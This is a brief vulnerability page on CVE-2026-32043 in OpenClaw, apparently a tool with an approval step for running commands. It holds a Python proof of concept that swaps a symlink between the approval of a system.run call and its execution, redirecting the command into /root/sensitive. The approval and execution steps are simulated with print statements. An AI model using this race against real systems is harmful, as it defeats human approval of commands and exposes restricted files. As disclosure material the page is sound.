CVE-2026-32043 OpenClaw TOCTOU漏洞致命令执行

import os import time # Simulating the exploit logic for CVE-2026-32043 # 1. Setup: Create a symlink pointing to a safe directory safe_dir = "/tmp/safe_dir" malicious_dir = "/root/sensitive" symlink_path = "/tmp/exploit_link" os.makedirs(safe_dir, exist_ok=True) os.symlink(safe_dir, symlink_path) print(f"[+] Created symlink {symlink_path} -> {safe_dir}") # 2. Request Approval (Simulated) # Attacker requests system.run(cwd=symlink_path, command='whoami') print("[+] Requesting approval for system.run...") print("[+] Approval granted. Waiting for execution...") # 3. Race Condition: Switch symlink before execution # This must be timed precisely between validation and execution print("[!] Switching symlink to malicious target...") os.unlink(symlink_path) os.symlink(malicious_dir, symlink_path) print(f"[+] Symlink now points to {malicious_dir}") # 4. Execution (Simulated) # The system executes the command in the context of the resolved path print("[!] System executing command in resolved directory...") print("[!] Arbitrary code executed in restricted directory.")